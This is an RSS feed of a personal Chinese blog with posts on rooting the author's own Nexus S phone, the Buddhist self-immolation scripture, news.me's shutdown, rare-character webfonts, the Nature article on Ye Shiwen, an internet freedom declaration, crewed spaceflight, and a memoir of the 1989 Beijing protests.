半亩塘闲话 http://shizhao.org 半亩方塘一鉴开 天光云影共徘徊 问渠哪得清如许 为有源头活水来 Thu, 14 Mar 2013 13:30:19 +0000 zh-CN hourly 1 http://wordpress.org/?v=3.4.2 Nexus S获取root权限 http://shizhao.org/2013/03/nexus-s%e8%8e%b7%e5%8f%96root%e6%9d%83%e9%99%90/?utm_source=rss&utm_medium=rss&utm_campaign=nexus-s%25e8%258e%25b7%25e5%258f%2596root%25e6%259d%2583%25e9%2599%2590 http://shizhao.org/2013/03/nexus-s%e8%8e%b7%e5%8f%96root%e6%9d%83%e9%99%90/#comments Thu, 14 Mar 2013 13:30:19 +0000 Shizhao http://shizhao.org/?p=3738 阅读全文——共700字]]> 为了翻墙玩Ingress，VPN最近又不稳定，决定用hosts的方式翻墙，于是有了第一次的惨痛刷机经历。

首先是解锁，用的Nexus Root Toolkit，根据指示操作，一路下来还算顺利。

接下来是root，还是用上面这个工具做的，结果操作完后直接变砖了！

第二天去中关村修手机，维修的哥们常规办法也试了，完全不行，最后终极大法是拆机，检查下来发现字库损坏，可能是刷机过程中操作不当，或者原来就有损伤，刷机时把伤给暴露出来了，唯一办法就是换字库。一个多小时下来，终于整好，装了一个第三方的2.3.1（捆绑了一堆垃圾软件），让他装4.0以上版本，死活不愿意，最后为了一些其他商家，都说没有官方包，狠狠心，还是决定自己回去折腾。

上网查资料，发现老外写的一篇文章似乎不错，一路下来果然很顺利的升级并root.

在这里直接找了一个2.3.1->4.0.3的官方升级包的，升级后root还是相当简单：

下载 SuperUser app and binary到手机里，下载custom recovery img到电脑，重启手机到Fastboot Mode，把手机连入电脑，在电脑中命令行下执行：

fastboot flash recovery C:\Android\recovery-clockwork-6.0.0.6-crespo.img

手机与电脑断开，手机上转到Power Off关闭手机。然后再重启手机到Fastboot Mode，选择RECOVERY，选择install zip from sdcard，再选择choose zip from sdcard，找到Superuser-3.2-arm-signed.zip并安装，完成后重启即root成功。

Recent Comments

    ]]>     http://shizhao.org/2013/03/nexus-s%e8%8e%b7%e5%8f%96root%e6%9d%83%e9%99%90/feed/ 0     禅门弄斧说燃身 http://shizhao.org/2012/11/fo/?utm_source=rss&utm_medium=rss&utm_campaign=fo http://shizhao.org/2012/11/fo/#comments Fri, 02 Nov 2012 17:08:31 +0000 Shizhao http://shizhao.org/?p=3732 阅读全文——共1415字]]> 2011年以来，西藏等藏族聚居地区陆续发生藏人自焚事件，包括女尼、喇嘛以及农牧民等，根据唯色的统计，目前已经有67人自焚。

    在佛教传统中，一直有燃指燃身供佛的习俗（或可称为陋习），只是我不知道藏传佛教中对此如何看法，但如此多的人自焚，应当与这种习俗是有很深关系的。

    燃身之说出自佛教非常重要的一部经典《法华经》，在汉传、藏传佛教中这部经都是非常重要的典籍。在《法华经·药王菩萨本事品第二十三》中如是说：

    作是供养已，从三昧起，而自念言，我虽以神力供养于佛，不如以身供养，即服诸香，栴檀、薰陆、兜楼婆、毕力迦、沉水、胶香，又饮瞻卜诸华香油，满千二百岁已，香油涂身，于日月净明德佛前，以天宝衣而自缠身，灌诸香油，以神通力愿、而自燃身，光明遍照八十亿恒河沙世界。其中诸佛、同时赞言，善哉、善哉，善男子，是真精进，是名真法供养如来。若以华、香、璎珞、烧香、末香、涂香、天缯、幡盖、及海此岸栴檀之香、如是等种种诸物供养，所不能及，假使国城、妻子、布施，亦所不及。善男子，是名第一之施，于诸施中、最尊最上，以法供养诸如来故。作是语已，而各默然。其身火燃、千二百岁，过是已后，其身乃尽。

    ……

    尔时一切众生喜见菩萨复自念言，我虽作是供养，心犹未足，我今当更供养舍利。便语诸菩萨大弟子、及天龙、夜叉、等一切大众，汝等当一心念，我今供养日月净明德佛舍利。作是语已，即于八万四千塔前，燃百福庄严臂七万二千岁、而以供养，令无数求声闻众、无量阿僧祇人、发阿耨多罗三藐三菩提心，皆使得住现一切色身三昧。尔时诸菩萨、天、人、阿修罗、等，见其无臂，忧恼悲哀、而作是言，此一切众生喜见菩萨，是我等师，教化我者，而今烧臂，身不具足。于时一切众生喜见菩萨、于大众中立此誓言，我舍两臂，必当得佛金色之身，若实不虚，令我两臂还复如故。作是誓已，自然还复，由斯菩萨福德智慧淳厚所致。当尔之时，三千大千世界、六种震动，天雨宝华，一切人天、得未曾有。

    这里有一篇汉传佛教徒对燃身供佛的解说。

    南怀瑾则对这种信仰持批判态度，他认为：

     

    大家信佛、学佛都想消除业障，也想发愿度众生，但都变成口头禅，不明白真正的愿要怎么发？现在，佛在‘法华经.药王菩萨本事品’中，讲到药王菩萨的修持与他的愿力，其中‘燃身供养’的部分，使得东方佛教、中国佛教错解其真义。几千年来，许多人真的把自己的肉身燃了，像越南的和尚，还有在我们家乡有许多老太太学佛，硬是把自己抬到火里面烧。当然，也有功德，但是错解了佛法，殊不知‘燃身供养’的重点并不在此，而是要在修持的真理上，以三昧真火转化色身，也就是用地水火风的火大力量来转化色身，彻底成就一切色身三昧。

    所以，药王菩萨在燃身供养前，就先作好了准备的工作，你就算一身先灌进了香油，天天吃麻油，天天擦香水也没有用，肉还是臭。这是说修持到了某一境界，我们父母所生之身自然产生香味，到了这个时候，才燃烧身体，燃烧并不是拿火来烧，而是以自身火大的三昧真火的力量，变化这个肉身。

    肉身燃烧了多久呢？一千两百年。你想想看，一个肉身能燃烧一千两百年吗？这都是秘密。然后，等到药王菩萨所供养的日月净明德佛涅槃以后，收取佛的舍利，有八万四千个舍利，每一个舍利成一个宝塔。他又在宝塔前，燃烧自己两臂供养，烧了七万二千年。我们的手臂沾油烧，能烧几个钟头啊？所以经典上所说的都是修持上的大秘密。药王菩萨以此修持，成就了什么，彻底成就了一切色身三昧。

    photo

    普陀山潮音洞前明朝官府所立的“禁止舍身燃指碑”。

    Recent Comments

      ]]>       http://shizhao.org/2012/11/fo/feed/ 0       news.me也歇了 http://shizhao.org/2012/10/news-me/?utm_source=rss&utm_medium=rss&utm_campaign=news-me http://shizhao.org/2012/10/news-me/#comments Fri, 26 Oct 2012 13:15:57 +0000 Shizhao http://shizhao.org/?p=3730 阅读全文——共646字]]> 最近传出消息，news.me因为受到twitter API方针的影响，产品要准备下架了。而之前的一款类似产品summify则是直接被twitter收购，去专做twitter的内容发现了。

      我一直认为，上面这两款产品才是真正的社会化阅读，聚合你在社会化平台上的好友发布的内容，同一篇文章越多好友分享，则越说明在你的社交圈中该篇文章的认受度。之前最赞赏的是summify，可以同时聚合twitter，facebook，和google阅读器上的好友分享，然后重新根据分享和赞的次数进行排序，对于没时间一直在这些平台上的人，是另外一种稍后阅读的方式。只是summify很快被twitter收购，成为twitter一部分，专注做twitter的内容了。在此之后，我又找到了一款勉强可用的代用品：news.me。这款产品只是聚合twitter上的内容，与summify相比，在功能上退步了许多，但是也还凑活着用吧。谁想，刚用习惯了，又因为twitter API的问题，要关门了。

      我最需要的社会化阅读产品就是要像summify这样的，跨平台，聚合不同社会化平台上的内容，然后根据分享（或者评论之类？）的次数排序，帮我挑出一段时间以来各个平台上好友最为关心的内容，这个要求很高吗？为什么用一个倒一个呢？

      不知道还会不会有人再开发类似的产品？但是从这两个产品的发展来看，各家社会化平台似乎正在走向内容的封闭，一方面开放API，一方面又千方百计霸着自己平台上的内容。我不知道这对开放的互联网而言，是一种进步还是一种倒退？

      Recent Comments

        ]]>         http://shizhao.org/2012/10/news-me/feed/ 0         使用webfont解决冷僻汉字与未收录汉字的办法 http://shizhao.org/2012/09/chinese-webfont/?utm_source=rss&utm_medium=rss&utm_campaign=chinese-webfont http://shizhao.org/2012/09/chinese-webfont/#comments Wed, 12 Sep 2012 15:15:53 +0000 Shizhao http://shizhao.org/?p=3722 阅读全文——共542字]]> 最近发现了一个wiki网站：GlyphWiki。其拥有者也就是开源字体花園明朝体的开发者@kamichikoichi。GlyphWiki上比较令人兴奋的一件事是，作者开发了webfont技术，可以在网页中嵌入其提供的webfont中文字体。

        由于网站是日文，不是看得太明白。其主要思路是在GlyphWiki上制作单个汉字的字体文件，然后通过类似分众分类的方法，给每个字分成多个不同的group，使用webfont的时候，直接调用相应的group，其会自动生成webfont字体文件。

        而看这里的webfont说明，作者开发这个webfont的主要目的不是为了美化网页，而是为了解决中文冷僻字以及未收录汉字的显示问题。基本上，很多电脑如果不安装额外字体，unicode扩展区A, B, C, D中的汉字基本上无法显示，GlyphWiki正好解决了这个问题。而unicode仍然还有不少没有收录的汉字，更是无法在电脑上输入和显示。GlyphWiki则通过使用一个未收录汉字的表示符〓，来用webfont处理。

        我使用GlyphWiki的接口在中文维基百科制作了一个小工具，用户登录后在“参数设置”->小工具中启用webfont后就可以使用了（说明文档，演示页面）。

        File:Biang Biang Mian.jpg

        一盘香喷喷的biangbiang面。

        Recent Comments

          ]]>           http://shizhao.org/2012/09/chinese-webfont/feed/ 0           关于《自然》和叶诗文 http://shizhao.org/2012/08/nature-and-yeshiwen/?utm_source=rss&utm_medium=rss&utm_campaign=nature-and-yeshiwen http://shizhao.org/2012/08/nature-and-yeshiwen/#comments Tue, 07 Aug 2012 13:59:54 +0000 Shizhao http://shizhao.org/?p=3715 阅读全文——共2042字]]>

          《自然》网站上一篇关于叶诗文的报道，不经意间引起许多中国/华裔科研工作者的愤慨，说实话，我真的比较惊讶。居然连饶毅都写信去声讨了。我的惊讶，主要是没看出这个新闻有多么严重，最多是不够严谨，至多是借叶诗文的事情去引出兴奋剂话题而已。如果不是叶诗文，而是斯文·叶，估计也没这多动静了。

          《自然》这篇文章或许还有一个背景需要考虑，7月底的时候，《悉尼先驱晨报》报道，前中国奥运队的两位队医爆出关于中国使用兴奋剂的内幕。我想这个事情对《自然》的这篇文章的写作多少会有些影响。只是国内完全照常是不会报道这种负面新闻的，信息的不对称自然也就加深了产生歧见的机会。

          而且，包括饶毅在内，几乎绝大多数人，都在围绕着叶诗文来讨论，可是《自然》的文章重点完全不在叶诗文，而是如何加强兴奋剂的检测能力，叶诗文只不过是个引子。只是这个引子不小心碰到了天朝人民的脆弱神经。要知道，兴奋剂的制造水平要远远高于检测水平，这个常识在那些反驳者那里却完全没有说。

          以下引用solidot上mort对于此事的一些评论，我比较同意这种看法：

          文章从科学分析的角度来看确实存在漏洞，但是从以上归纳的文章要点来说，我没有看到其中任何哪个段落有“辱华”“种族歧视”的成分。 质疑选手成绩这种事情在赛场上又不少见，清者自清，明者自明。 至于我们的愤青们，抓住几个逻辑上破绽就到处开骂秀下限，没辱华的也要说成是辱华，除了自取其辱，起不到任何作用。

           

          首先，Nature文章标题是“Why great Olympic feats raise suspicions”，文章的论点之一（也是最容易被中国人抨击的一点）是：为什么药检不能完全证明一个运动员是清白的。
          至于文章里面有没有表达出“Ye DOES dope”这个观点，至少我是没看出来。
          而任何一个受过高等教育的人都应该清楚，单就药检阳性不能代表运动员就一定是清白的这一点，是科学事实，不是什么歪理。
          由此可见，Nature文章虽然使用了不正确的逻辑，但是它并没有引用“歪理”，主旨也不是为了支持某些人的“偏激观点”，而只是针对“为何叶会在药检通过的情形下仍然遭遇质疑”这件事情，就事论事进行科普而已。你说“Nature 上原文作者较不严格地话就可以列入愤青”，这是否与你关于“愤青”的定义自相矛盾？

          然后下面评论的大部分中国人呢？
          撇去无内涵的crap comment不说，我见到绝大部分中国人的评论都是有着明显偏激的观点的：shame on Nature publishing an article like this.排除掉你所说的“特别提到对china/chinese 区别对待问题的少之又少“的一部分人之外，其他人的观点无非只有一个：缺乏科学数据的支撑。
          首先，你们应该看到，这只是一篇新闻，不是什么science report，更不是paper。而愤青们坚持认为所有的新闻都需要罗列出科学数据来构成论据，这是歪理之一。
          其次，更重要的是，文章从头到尾都没有以“Ye does dope”为论点，而是以“Why there is suspicions upon this”作为论点，而愤青们认为这篇文章一定是在“暗示”Ye does dope。这是选择性使用证据之一。
          即便按照你的定义，Nature上的大部分评论仍然可以归类为“愤青”无误。这也正是为什么说某些愤青喜欢自取其辱的原因。

           

          再说一遍，我不是在和你讨论这篇文章本身作为新闻的合格性。我的观点前面说的很清楚，这篇文章以一个科学家的角度来看，逻辑上的确存在缺陷。
          以我看到的情况来看，西方的绝大多数脑子正常的网民评论几乎都是一边倒支持叶诗文的，而且言之灼灼，有理有据。
          但是无理纠缠揪着某科学杂志小尾巴不放、到处刷些没营养的评论甚至攻击性文字的，除了某些自卑的爱国青年之外，别无他人。

          调查问题之前，至少先STFW，如果你也搜过这篇文章，你就会发现Nature上的这篇文章早已被包括Scientific American在内的若干网站转载（甚至连原来的副标题 ‘Performance profiling’ could help catch athletes who use banned performance-enhancing drugs 都没改）。如果这篇文章真的有任何你们所说的 歧视/侮辱/诽谤 倾向的话，你认为这些知名科学网站会不惜名声扫地的风险转载、而且在遭遇大量抗议的情况下仍然坚持没删？

          问题就是这么简单，本来逻辑上有缺陷、但是以西方文化标准来看并无恶意的一篇低级科普文，被神经一向敏感的国人想多了，又抓住其中的逻辑缺陷不放，自己YY出“Nature杂志搞歧视”甚至“辱华”等等子虚乌有的情节，然后发到天涯等众多论坛上，以我天朝擅长的人海战术，定有一批留洋略通英语的爱国青年前去声讨。想你水平还可以，你自己再回头想想那些比Nature原文逻辑性还差、空洞无物甚至不着边际的评论，和其他西方人言之有据的评论，不是去秀下限的是什么？

          在这件事情上，我批判的是这种所谓“爱国”青年只知一味跟风，却不讲逻辑、不愿面对事实的心态。

          Recent Comments

            ]]>             http://shizhao.org/2012/08/nature-and-yeshiwen/feed/ 0             《互联网自由宣言》 http://shizhao.org/2012/08/declaration-of-internet-freedom/?utm_source=rss&utm_medium=rss&utm_campaign=declaration-of-internet-freedom http://shizhao.org/2012/08/declaration-of-internet-freedom/#comments Wed, 01 Aug 2012 14:53:07 +0000 Shizhao http://shizhao.org/?p=3712 阅读全文——共853字]]> 直接转全球之声的文章：

            就像许多人已经察觉到的，这世界的网络自由，正处于关键时刻。许多国家正在订立法律，审查网络上的内容，博客畅所欲言的风险正逐步升高。

            过去一年以来，世界各方的组织以前所未见的方式，携手团结，为网络自由而战。从美国对抗SOPA及PIPA法案，以至全球通力合作阻挡反仿冒贸易协定（ACTA）， 我们已经创造了网络自由开放的时代精神浪潮。

            秉持上述理念，一群公民团体最近合作撰写了《网络自由宣言》，全球之声倡议计划也是创始签署成员之一。至目前为止，已有一千三百个组织及公司签署该宣言，而且陆续还有团体加入。下面是宣言的初始内容。你可以在这里加入签名，也可透过EFF、Free Press、Access，甚至Cheezburger等其他组织共襄盛举。

            以下是宣言中文版：

            前言

            我们相信自由且开放的网络，可以让这世界更美好。为了坚持网络的自由与开放，我们呼吁各社群、产业以及国家，认可以下原则。我们相信，这些原则能带来更多创造、革新以及更为开放的社会。

            我们加入这一场串连全球的运动以捍卫网络自由，是因为我们相信，值得为自由奋战。
            接下来让我们讨论这些原则 – 你可能同意或不同意它们，或加以辩论、或著手翻译，或以身服膺，又或推展到你的社群中，与朋友一起讨论 – 也只有网络，能让我们展开上述行动。
            加入我们，捍卫网络的自由与开放。

            宣言

            我们支持自由且开放的网络。

            我们支持，在拟定网络政策时，应鼓励大众参与，并让过程透明。这样的态度也适用于下列五项原则的建立：

            • 言论表达：不可审查网络言论。
            • 网络使用：让大众皆能使用快速及负担得起的网络。
            • 开放：维持网际网络开放的特性，让每个人都能自由连结、通讯、写作、阅读、观看、发言、聆听、学习、创造以及革新。
            • 创新：保护不用经过他人许可，便能革新与创造的自由。不阻碍新科技的发展，也不因为新科技使用者的行为，而惩罚创造出此项新科技的人。
            • 隐私：保护隐私，并且让每个人都掌控个人资料及设备的利用方式。

            我们——网络上的P民，需要向旧势力表明我们的态度，向防火墙表明我们的愤怒，向管制者表现我们的决心。

            Recent Comments

            ]]>             http://shizhao.org/2012/08/declaration-of-internet-freedom/feed/ 3             也说载人航天与形象工程 http://shizhao.org/2012/06/shen9/?utm_source=rss&utm_medium=rss&utm_campaign=shen9 http://shizhao.org/2012/06/shen9/#comments Mon, 18 Jun 2012 14:37:16 +0000 Shizhao http://shizhao.org/?p=3702 阅读全文——共2092字]]> 关于神九上天而引出的载人航天讨论，学而时嘻之的blog一语道破天机，载人航天的确是形象工程。不过作者认为这种形象工程也算是在搞民生，关于这一点或许不同的人，看法就未必一样了。美国著名物理学家穆勒在《未来总统的物理课》一书中就谈到过这个问题。

            穆勒给出的载人航天的死亡几率是2%。也就是100次射人上天，可能会有两次失败。对于我国才射了2次，这死亡的阴影应该还没笼罩过来。

            穆勒对载人航天持反对态度，对于美国而言，他认为NASA把航天说得过于安全，说得好像是例行公事一样。而NASA的另一个错误则是把载人航天说成能够促进人类科学技术的进步。而这一点应该是学而时嘻之所处的观点。穆勒则认为这恰恰是一个错误的认知。哈勃望远镜坏了怎么办？真的需要派宇航员去维修吗？其实经济上更可行的方案是射一个新的上去，而不是花费更高昂的代价派宇航员去修理。

            关于太空中的科学实验，穆勒认为太空船是一个拙劣的实验平台。在太空船的环境下，人类是一个极大的干扰源：人会发出噪声、热辐射、发出振动，甚至人体产生的极其微弱引力也会随着人体的运动而发生变化，这些都会干扰到太空实验的灵敏度。换句话说，在载人的航天器里做实验，将必然提高实验的成本。穆勒举了一个实际的例子，2006年诺贝尔物理奖的获奖项目COBE(宇宙微波背景探测器)当年之所以被拖延了许久，就是因为NASA认为需要用载人的飞船去发射它，而不是无人火箭。

            最近20年来太空计划的辉煌成果，无论是COBE，还是GPS，无论是间谍卫星，还是火星探测，所有这些辉煌成果的共通点就是“无人”。穆勒认为，至少未来20年内，完全没有必要派人上天去做工作，机器完全能够做得更好。

            NASA认为载人航天能够刺激公众对太空的兴趣，因此要一直把载人航天搞下去。穆勒很讽刺的举了一个例子来反驳这个观点。他所见到的对太空感兴趣的大学生们，张贴墙报所用的图片都是恒星诞生、恒星爆炸、星系等的图片，几乎从未看到过宇航员的出现。而这些照片都是仪器拍摄的，如果宇航员去拍摄，还不可能拍摄到如此清晰的照片。

            最后，我要说的是，载人航天真的是一个形象工程，而且是一个当前对政府相当有利的形象工程。是的，有利！当对政府无利的时候，他将会摇身一变成一个祸国殃民的工程，这不是瞎说，这是有前车之鉴的。1977年2月3日人民日报曾发表社论说：

            “卫星飞太空，人间苦难重，这是当今苏联社会帝国主义的写照。不过苏修自己并不这样认为，而美其名曰‘发达的社会主义’国家。……有读者投书苏修报刊，要求缩减用于空间的拨款，‘腾出资金’用来‘提高人民的物质福利事业’。结果招致苏修《新时代》杂志御用文人的痛斥。”

            全文如下：

            天上·人间

            樊庆荣

            卫星飞太空，人间苦难重，这是当今苏联社会帝国主义的写照。不过苏修自己并不这样认为，而美其名曰“发达的社会主义”国家。

            说“发达”，倒也“发达”。看一看太空，苏式飞船和卫星的确为数不少。可惜，飞船卫星虽多，究竟不能当饭吃，当衣穿。为了和美帝争霸太空，近几年来，苏修 叛徒集团不惜投下重资，引起苏联人民的强烈不满。早在一九七五年间，就有读者投书苏修报刊，要求缩减用于空间的拨款，“腾出资金”用来“提高人民的物质福 利事业”。结果招致苏修《新时代》杂志御用文人的痛斥。它指责苏联人民的这一正当要求是“错误的观点”，甚至给写信人扣上企图“使生产陷入僵局”，“使经 济陷入停滞状态”等等大帽子，妄图以此封住苏联人民之口。

            然而，苏联人民的不满情绪并没有因此而平息，这使苏修一小撮人颇为作难。最近，《新时代》杂志又一次披挂上阵，进行辩解。所不同的，这一次是抬出来了一位苏联宇宙飞行员向读者进行现身说教。

            这位太空人承认苏联宇宙研究的确是“非常费钱”，然而，据说“宇宙研究不仅能补偿所消耗的费用，而且会带来利润。”这就是说，苏修的所谓“太空作业”竟是 一桩一本万利的买卖。但是，人们不禁要问：“利润”从何而来呢？莫非真有“月宫宝盒”一类的玩艺儿等待着克里姆林宫的冒险家去打开吗？显然不是那么一回 事。苏联的科学家也曾承认，宇宙资源的开发还是一个遥远的事情。

            尽管如此，这位“宇宙飞行员”还是要苏联人民相信，发射卫星是有利可图的。“利润”不是来自天上，而是来自地面。他说：“通过在宇宙空间所拍摄的照片，可 以发现地球深处所埋藏的财富。已经发现了地下水库和矿床。”在这里，他尽管吞吞吐吐，欲言又止，却在无意之中供认了，苏联在太空搞那么多飞船、卫星，目的 之一是为了搜集经济情报，攫取地球上的矿藏、财富。这真是一语泄露了天机，只不过他还是故意回避利用间谍卫星收集别国的军事情报这一重要事实。而后者同样 是苏修在国外攫取最大利润所必不可少的。谁都知道，苏修的“克格勃”遍及世界各国，他们伪装成外交官、商人、海员、学者、记者、游客等等，到处大搞间谍活 动，虽说狡猾多端，还是经常失风、被捕、被逐。现在又飞到太空去搞间谍勾当，来个天上、地上，双管齐下，端的是安全可靠！

            通过苏修御用舆论工具这一喋喋不休的说教，能否堵住苏联人民之口，是十分可疑的。不过，这却道出了苏修大搞所谓太空研究的一点“秘密”，也算是一个小小的自我揭露，这也未尝不是好事。

            Recent Comments

              ]]>               http://shizhao.org/2012/06/shen9/feed/ 0               那一年，我们白衣飘飘… http://shizhao.org/2012/06/four/?utm_source=rss&utm_medium=rss&utm_campaign=four http://shizhao.org/2012/06/four/#comments Mon, 04 Jun 2012 17:21:30 +0000 Shizhao http://shizhao.org/?p=3694 阅读全文——共4957字]]> 时间已经过去23年。对我而言，23年已经是这一生的大部分时间。当年那白衣飘飘的年代，我还是个中学生。现在回想起来已经越来越模糊，若不是参考一些文章资料，时间线都已经错乱，很多事情都已经开始变得似是而非。人类的记忆总是这么不靠谱，历史的长河将一切都冲刷的面目全非。以下是我根据一些文字资料上的时间线，对当年的一些回忆以及一些道听途说的东西。

              那时，我住在北京东郊一些大学集中的区域，那里远离北大、清华这些学校，因此什么事情都比较滞后。现在还有的最早印象是胡耀邦的逝世，即使远离八大学院，但还是能够从学校、父母、长辈各色人等中感受到一丝异常的气氛。电视上看到新华门外的静坐的时候，已经感到事态的扩大。大学校园里的各色大字报和宣传单（是的，那时校园里还是能贴大字报，发传单的，只是如此密集却是多年未见），那时我们这些小屁孩也会去天天看热闹的，父母长辈们更是会去抄抄写写一番，然后回来在家里与密友小声谈论，那时还不懂什么，却也感到事情很严重。

              对我来说，绝食是一件具有转折意义的事件。绝食很快就让北京社会各界都参与了进来，工人、农民、甚至军人。连我们中学生们都已经坐不住，在学校商量着要去天安门声援，未尝想到的是，老师居然会同意我们的请求，课也不上了，同学们三三两两结伴去天安门。（这个记忆已经很模糊，完全想不起当时如何与学校交涉，老师如何同意，总之是不上课了，去天安门）

              几个好友准备了当时去天安门必备的物件：头绳，上面用钢笔写上“声援”二字。记得我们几个的头绳是黄色的，应该是某位同学去商店买的时候只有这种黄色的布头了。我们学校位于接近通县的地界，哪一天记不清了，但可以肯定的是，应该是绝食那段时期中，全社会最热火的那几天。

              我们从学校出发，那时5月底的北京还不像现在这么热，很多人都穿着当时最流行的服饰——白衬衣。去天安门的交通已经完全瘫痪，我们于是一袭白衣一直步行走到的天安门。开始大家还不好意思把头绳绑在头上，但是走到大概郎家园附近，四面八方声援的人已经是把大街挤满了，几乎人人头上都绑着头绳，写着“声援”二字。我们这些屁孩也就不觉得自己绑头绳太突兀了，纷纷把头绳绑上。而这也成为了当时的一个认同标志。

              走了一路，到了天安门那里感到真是热啊，人也多。我们这些屁孩去了那里其实也不过是心血涌动，到了天安门主要还是去看热闹的。天安门那里虽然很乱，但是要想靠近绝食区域和纪念碑区域还是挺难的，有很多缠着头绳的大学生在那里盘查，闲杂人等不让靠近。还有大学生批评我们，说我们这些中学生应该去好好学习，我们还不到掺和这些事情的年纪。

              如何从天安门回去的，已经完全不记得了，只记得这一天那是相当的hi。

              后来又是正常的上课了。记得周末的时候学校还组织过一次去天安门的游行，只是这一次没我们这等不听话孩子的份，那都是老师和挑选出的好孩子们去的。

              再后来就是军队进京了。我家就在军队进京的一条要到旁边。我们学校附近也是有一些军队单位的，听同学讲，北京的部队已经被命令，出门不准穿军装，甚至警察都已经看不到。我印象深刻的一幕，是停在我们学校门口一辆挡风玻璃被砸坏的，挂着军牌的吉普车。记不清是哪一天的傍晚了。那时都在说军队要进来了，于是我家门口的道路上已经被学生、市民们自发组织起来，把道路几乎整个封掉了。一人多高的水泥管、公共汽车都横在路中，只留一个可供一辆车通过的出入口。马路上到处都是人，都在等着截军车呢。通往市区方向有很多市民自发的进行盘查，还有所谓的敢死队，在纠察。基本上隔个几百米，就有同样的一幅场景，一群群的人把马路堵的水泄不通。

              敢死队的组成什么人都有，主要是住在附近的年轻人，包括工作不久的工人、学生以及一些在我们这些屁孩看来是本地的混混。我们院的一位大哥也是敢死队的，他给了我一个红袖箍（不记得上面是不是有字了），于是我也就成为了纠察队的一员了。（后来听说这位大哥是我们这片地区敢死队队长，结果被抓起来关了好几年。）

              我们主要的工作就是把往市区去的车辆给劝回头。虽然敢死队的成员有不少平时凶神恶煞的家伙，但是此时此刻劝说那些车辆却异常的平和与温柔。这些人正是与以往完全不一样的精神面貌，让我至今记忆犹新。其中有些平时素有仇怨，见面必打的人都抛开了个人的恩怨。

              逐渐的我也摸到了拦截车辆的门道。因为路上到处是人，这些车开的很慢。一般我们会拦下来，要求查看证件，如果是军队的，好言相劝让他们调头回去。当时我随手一拦，一辆轿车就停下了，很主动的掏出证件给我看。我一看倒是吓了一跳，是一位大校。他说有急事要去市里。我告诉他前面过不去了，一路上都有人在拦截，即使我们这边放过去，下一道检查的人未必会让过去。那位大校想了想，于是让司机调头回去了。那些不是军队的车辆，我们也会告诉他，前面很难走，到处都在设卡，大多数司机都会调头回去。但是也有个别的司机，趁我们不注意，一踩油门硬冲过去。但是他这一路不知道要硬冲几回才能到他要去的地方。还有一些个别车辆，则是去一些地方去串联，传递消息的，一般我们都会让他过去。其实当时大家都非常善良，你说你是去哪里哪里去串联的，大家都会相信。另外，当时一些司机也很仗义，会直接把你搭到要去的地方。

              也就是在这一晚，我有生以来第一次夜不归宿。当天天刚黑的时候，我们院的那位大哥叫上我，说要开车去通县北关军队被拦截的那里去声援。我一时冲动，心想反正天还早，车去车回1-2个小时就好了。平常也是这么晚回家，父母应该不会知道这些事情。

              于是我坐上了去北关的一辆吉普，一路上碰到检查的，只要说是去北关的，都是马上放行。很快，我们就到了通县北关。话说我这还是头一次孤身一人，和不太熟悉的人离家这么远（和那位大哥虽然住在一个院，也只是知道有这么个人而已，以前是完全没说过话的）。到了那里，我非常震惊。一溜的坦克停在那里，很后面还有军车，他们被老百姓们早就已经围的水泄不通。我们声援过来的两辆车上的人下来后，就被安排在最前线，也是被认为最荣誉的位置：第一辆坦克的前面席地而坐。这可是我平生第一次看到真坦克啊！坦克好大，好高，夜幕下看起来令人不寒而栗。

              于是我就和一些人在坦克前静坐示威。现在想来，当时我坐在坦克前，几乎都是在一门心思盘算怎么回家的问题，以及夜深后凉风习习，身体感到瑟缩了。当时就想着要跟定那位大哥，否则我这一晚上也回不去家了（当时我都不知道北关具体在什么位置，还是头一次听说这么个地方）。天渐渐凉了下来，围观的群众却仍然不见少，而且还有人送来冰棍什么的慰问我们这些坐在坦克前的“勇士”，在这凉爽的初夏之夜吃着冰棍，我越发觉得冷了。

              也不知道过了多长时间，可能至少有1个小时吧，对于我来说，感到越来越冷，真的是很难熬。只是为了充好汉，咱是说什么都不能露出很冷的样子来。然后那位大哥说还要去丰台那边军车被堵的地方，我赶紧跟着他，截了一辆车，就又出发了。终于没这么冷了，而且我想路过我家那边的时候，就可以下车回家了。

              唉！路盲啊！有木有？我居然一不留神错过了我该下车回家的地方，或许是天太黑看不清，也可能是路上人太多，一下子都认不出来原来的模样了。就这样一路向西。本来说还要顺道去天安门那边，结果开到建国门就已经几乎无法往前开了。且不说这一路走来一道又一道的检查，每次通过的时候都要声嘶力竭的吼叫后，人群组成的人墙才会闪开一条路让我们过去。而进入长安街地段后，偌宽的长安街上，用作隔离的水泥墩子和铁栅栏的隔离带全都被人歪歪扭扭放在了马路中央。整条长安街已经完全变成了一个汽车的迷宫，走了没多一会，我们就彻底放弃了，于是我们直奔丰台六里桥，那里也有很多军车被截下。

              六里桥很快就到了。这里被截下的都是军车，没有坦克神马的。许多市民都在和车上的军人拉家常、给吃的，给喝得…..接下来我做了什么已经完全没有印象，只记得回家已经是临晨2-3点，被父母一顿痛骂。但令我奇怪的是，父母今天对我的责骂似乎没有以往那么厉害，似乎还透漏出一点对我已经长大了的期许。

              接下来还是正常的上学，后面发生的事情的时间线就很模糊了，只有一些碎片。

              记得电视里放说有解放军在东直门还是朝阳门被暴徒烧死、还被吊在桥上，画面异常的惨不忍睹。然后就是某个夜晚，我家外面的大街上甚是热闹。我睡得很熟，完全不知道。而父母说当天夜里过了一晚上军车和坦克，每辆车经过大学的门口时，都会朝大学主楼扫射子弹。后来大家传说这么做是因为大学主楼上某个窗户架了一个电视天线，夜幕下看来被这些路过的军车错以为是一挺机枪。

              还有的记忆碎片是白天大学里的广播要大家把做好的自制燃烧瓶之类的东西，统一收集到某楼，然后在进行分配。那一天的下午，广播喇叭一直在响。只是我已经不记得这白天的事情和上面说的晚上的事情的发生顺序了。后来还听说我们这边的战斗很激烈，燃烧瓶袭击了不少军队的车辆和坦克，只是我们这边也死了好几个人。后来听说我家在的这所大学死亡的学生是全北京高校里最多的，有10几个。后来听我家隔壁学校医务室的阿姨说军队用的是炸子，他们开始根本不知道，只是处理送来的受伤的人的射入子弹的伤口，包扎完后发现还有血一直往外流，才发现另一边有个更大的伤口。

              接下来的几天学校还是正常上课，突然一天上午，上了两节课后，学校喇叭响了，说是我们家那边打起来了，枪声响成一片，校长让学生赶紧回家，今天不上课了。现在想来，枪声大作，居然让学生各自回家，这校长也不知道是怎么想的。我和同住一个院的同学骑车回家，一进大院门口，就发觉气氛异常。上午11点左右，整个大院里居然看不到一个人影，静悄悄的。回到家才知道，这里刚刚过了一堆军车，然后可能之前这里对抗比较激烈，因此经过的时候都冲我们这边乱放枪，父母说都有子弹打到院子里来。我回家的时候，军队刚刚过完。

